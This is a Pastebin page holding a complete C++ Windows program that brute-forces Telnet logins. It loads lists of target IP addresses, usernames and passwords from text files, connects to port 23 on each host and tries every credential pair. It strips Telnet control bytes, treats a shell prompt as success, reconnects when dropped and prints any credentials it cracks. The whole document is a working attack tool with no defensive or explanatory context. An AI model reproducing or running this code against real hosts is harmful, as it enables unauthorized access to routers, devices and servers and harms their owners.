Advertisement
Guest User

Untitled

a guest
Jul 1st, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 7.04 KB | None | 0 0
  1. #include <cstdlib>
  2. #include <cstdio>
  3. #include <winsock2.h>
  4. #include <string>
  5. #include <vector>
  6. #include <iostream>
  7. #include <fstream>
  8. #include <windows.h>
  9.  
  10. #define _DEBUG_
  11. using namespace std;
  12.  
  13. const unsigned short usTelnetPort = 23;
  14.  
  15. const unsigned int uiTimeToWaitBetweenReconnects = 1000;
  16.  
  17. const char szIpAddressFile[] = "ip.txt";
  18. const char szUsernameFile[] = "usernames.txt";
  19. const char szPasswordFile[] = "passwords.txt";
  20.  
  21.  
  22.  
  23.  
  24. void LoadListFromFile( ifstream& Reader, vector<string>& vList )
  25. {
  26.   string sTemp;
  27.   while( Reader.good() && (!Reader.eof()) )
  28.     {
  29.         Reader>>sTemp;
  30.         vList.push_back(sTemp);
  31.     }
  32. }
  33.  
  34.  
  35.  
  36.  
  37. #ifdef _DEBUG_
  38. void DisplayList( vector<string>& vList )
  39. {
  40.     vector<string>::iterator vIter;
  41.     for( vIter = vList.begin(); vIter != vList.end(); ++vIter )
  42.     {
  43.       cout<<*vIter<<endl;
  44.     }
  45. }
  46. #endif
  47.  
  48.  
  49.  
  50.  
  51.  
  52. bool Login( SOCKET sSock, const sockaddr_in& ConnInfo, const string sUsername, vector<string>& vPasswords, string& sPassword )
  53. {
  54.     vector<string>::iterator vPasswordIter;
  55.     bool bSuccess = false;
  56.      
  57.      
  58.     for( vPasswordIter = vPasswords.begin(); vPasswordIter != vPasswords.end(); ++vPasswordIter )
  59.     {
  60.         // Send Username and Password
  61.         string sCredentials = sUsername+"\r\n"+(*vPasswordIter)+"\r\n";
  62.         #ifdef _DEBUG_
  63.         cout<<"Trying:\n"<<sCredentials<<endl;
  64.         #endif
  65.        
  66.         send(sSock,sCredentials.c_str(),sCredentials.length(),0);
  67.        
  68.        
  69.         unsigned int uiTotalBytesReceived = 0;
  70.         int iBytesReceived = 0;
  71.         const BYTE bIAC = 0xFF;
  72.         string sBuffer;
  73.         BYTE bValue = 0;
  74.         unsigned short usSuccessiveDisconnects = 0;
  75.        
  76.         bool bIAC_Received = false;
  77.         bool bOperation_Received = false;
  78.         bool bConnected = false;
  79.                    
  80.          while( true )
  81.                {
  82.                     iBytesReceived = recv(sSock,(char*)&bValue,1,0);
  83.                     if( iBytesReceived == SOCKET_ERROR ) break;
  84.                    
  85.                     else if( iBytesReceived == 0 ) // Remote Party closed connection
  86.                     {
  87.                       #ifdef _DEBUG_
  88.                       cout<<"Remote Party closed connection. Reconnecting..."<<endl;
  89.                       #endif
  90.                       Sleep(uiTimeToWaitBetweenReconnects);
  91.                       ++usSuccessiveDisconnects;
  92.                       if( (usSuccessiveDisconnects == 2) ||
  93.                            ((bConnected = !connect(sSock,(sockaddr*)&ConnInfo,sizeof(ConnInfo))) == false)
  94.                            ) break;
  95.                     }
  96.                    
  97.                     else uiTotalBytesReceived += iBytesReceived;
  98.                    
  99.                    
  100.                    usSuccessiveDisconnects = 0;
  101.                    
  102.                    if( bOperation_Received  ) {  bOperation_Received = false; continue; }
  103.                    else if( bValue == bIAC ) bIAC_Received = true;
  104.                    else if ( bValue > 0x80 ){  if( bIAC_Received ){ bOperation_Received = true; bIAC_Received = false; } }
  105.                    else if( bValue < 0x80 )
  106.                     {
  107.                          if( (bValue > 96) && (bValue < 123) ) bValue -= 32;
  108.                          sBuffer += bValue;
  109.                        
  110.                          if( sBuffer.find("FAIL") != string::npos )
  111.                            {      
  112.                              #ifdef _DEBUG_
  113.                              cout<<"Buffer: "<<sBuffer<<endl;
  114.                              #endif
  115.                              bSuccess = false;
  116.                              break;
  117.                            }
  118.                            
  119.                          else if( (sBuffer.find(">") != string::npos) || (sBuffer.find("#") != string::npos) )
  120.                          {
  121.                              #ifdef _DEBUG_
  122.                              cout<<"Buffer: "<<sBuffer<<endl;
  123.                              #endif
  124.                              bSuccess = true;
  125.                              break;
  126.                          }
  127.                          
  128.                      }
  129.                    
  130.                  
  131.                }
  132.        
  133.         if( usSuccessiveDisconnects == 2 ) { cout<<"Two successive disconnects! Switching targets!"<<endl; break;}
  134.         if( bSuccess ) { sPassword = *vPasswordIter; break; }
  135.        
  136.        
  137.     }
  138.    
  139.     return bSuccess;
  140. }
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150. int main(int argc, char *argv[])
  151. {
  152.    
  153.     WSADATA wsaData;
  154.     WSAStartup(MAKEWORD(2,0),&wsaData);
  155.    
  156.    
  157.     /*************************************************************************/
  158.     /*             Load Lists of Ip Addresses,Usernames,Passwords            */
  159.     /*************************************************************************/
  160.    
  161.     vector<string> vIpAddresses;
  162.     vector<string> vUsernames;
  163.     vector<string> vPasswords;
  164.    
  165.    
  166.     ifstream  IpAddressFileReader(szIpAddressFile,ifstream::in);
  167.     ifstream  UsernameFileReader(szUsernameFile,ifstream::in);
  168.     ifstream  PasswordFileReader(szPasswordFile,ifstream::in);
  169.    
  170.    
  171.     if( !(IpAddressFileReader.good() && UsernameFileReader.good() && PasswordFileReader.good())  )
  172.      {
  173.         cout<<"Failed to open file!\n\n";
  174.         exit(1);
  175.      };
  176.    
  177.     LoadListFromFile( IpAddressFileReader,vIpAddresses );
  178.     LoadListFromFile( UsernameFileReader, vUsernames );
  179.     LoadListFromFile( PasswordFileReader, vPasswords );
  180.    
  181.    
  182.     IpAddressFileReader.close();
  183.     UsernameFileReader.close();
  184.     PasswordFileReader.close();
  185.    
  186.     #ifdef _DEBUG_
  187.     DisplayList(vIpAddresses);
  188.     DisplayList(vUsernames);
  189.     DisplayList(vPasswords);
  190.     #endif
  191.    
  192.    
  193.     /**************************************************************************/
  194.    
  195.    
  196.    
  197.    
  198.    
  199.    
  200.     sockaddr_in ConnInfo;
  201.     ConnInfo.sin_family = AF_INET;
  202.     ConnInfo.sin_port = htons(usTelnetPort);
  203.    
  204.     bool bSocketInvalidated = true;
  205.     SOCKET sConnSock;
  206.    
  207.     vector<string>::iterator vIpAddressIter;
  208.     vector<string>::iterator vUsernameIter;
  209.    
  210.     for( vIpAddressIter = vIpAddresses.begin(); vIpAddressIter != vIpAddresses.end(); ++vIpAddressIter )
  211.     {
  212.         ConnInfo.sin_addr.s_addr = inet_addr( vIpAddressIter->c_str() );
  213.         bool bSuccessfulLogin = false;
  214.         if( bSocketInvalidated )  sConnSock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  215.  
  216.         bool bConnected = !connect( sConnSock,(sockaddr*)&ConnInfo,sizeof(sockaddr_in) );
  217.         if( !bConnected ) { cout<<"Failed to connect to: "<<*vIpAddressIter<<endl; continue; }
  218.         cout<<"Connected to: "<<*vIpAddressIter<<endl;
  219.        
  220.         for( vUsernameIter = vUsernames.begin(); vUsernameIter != vUsernames.end(); ++vUsernameIter )
  221.         {
  222.             string sPassword;
  223.             bSuccessfulLogin = Login( sConnSock, ConnInfo,*vUsernameIter,vPasswords, sPassword );
  224.             if( bSuccessfulLogin ) { cout<<"Username: "<<*vUsernameIter<<endl<<"Password: "<<sPassword<<endl<<endl; break;}
  225.         }
  226.        
  227.         if( !bSuccessfulLogin ) cout<<"Failed to gain access!\n\n";
  228.        
  229.         closesocket( sConnSock );
  230.         bSocketInvalidated = true;
  231.        
  232.     }
  233.    
  234.    
  235.    
  236.  
  237.    
  238.  
  239.    
  240.     WSACleanup();
  241.     system("pause");
  242. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement